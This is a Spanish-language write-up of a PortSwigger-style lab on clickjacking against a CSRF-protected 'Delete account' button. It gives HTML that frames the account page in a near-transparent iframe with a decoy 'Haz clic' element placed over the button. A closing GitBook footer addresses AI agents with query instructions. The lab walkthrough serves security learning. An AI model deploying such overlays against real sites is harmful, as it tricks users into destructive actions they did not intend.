> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/clickjacking/basic-clickjacking-with-csrf-protection.md).

# Clickjacking básico con protección CSRF

### Clickjacking básico con protección de token CSRF

Este laboratorio contiene una función de conexión, así como un botón Eliminar cuenta protegido por un **token CRF**. / El objetivo es animar al usuario a hacer clic en un elemento que muestre la palabra "Click" en un sitio señuelo, para borrar su cuenta.

**Credenciales proporcionadas:**

* wiener : peter

En la página de la cuenta, encontramos la función **Eliminar cuenta**.

<figure><img src="/files/4ec49fae254753bf7be68b606e4e40a7f7c9b2f0" alt=""><figcaption></figcaption></figure>

La idea es usar un **`<iframe>`** etiqueta para incrustar esta página en nuestro propio sitio y engañar al usuario para que haga clic en el lugar correcto.

```html
<style>
iframe{
width: 500px;
height: 600px;
}
</style>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

Este paso nos permite mostrar la página objetivo en nuestro propio sitio.

<figure><img src="/files/6685f909fde3aa566939f2578888761f71182ce1" alt=""><figcaption></figcaption></figure>

Coloca un texto engañoso ("Click") exactamente encima del *Eliminar cuenta* botón:

```html
<style>
iframe{
width: 500px;
height: 600px;
}
div{
position: relative;
top: 505px;
left: 70px;
}

</style>
<div>Haz clic</div>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

<figure><img src="/files/90db93f98f929a4fb0265727e7ec0061d21cf165" alt=""><figcaption></figcaption></figure>

Para que la víctima no vea la interfaz real, la **transparencia** del marco se reduce:

```html
<style>
iframe{
width: 500px;
height: 600px;
opacity: 0.01;
}
div{
position: relative;
top: 505px;
left: 70px;
}

</style>
<div>Haz clic</div>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

Si la parte inferior de la página no aparece, probablemente se deba a la ausencia de `frameborder="0"` parámetro o a una política de seguridad del sitio. / El aspecto se puede ajustar de la siguiente manera:

<figure><img src="/files/21bb9479071d16e834278a5890558694f66b2e9d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/clickjacking/basic-clickjacking-with-csrf-protection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
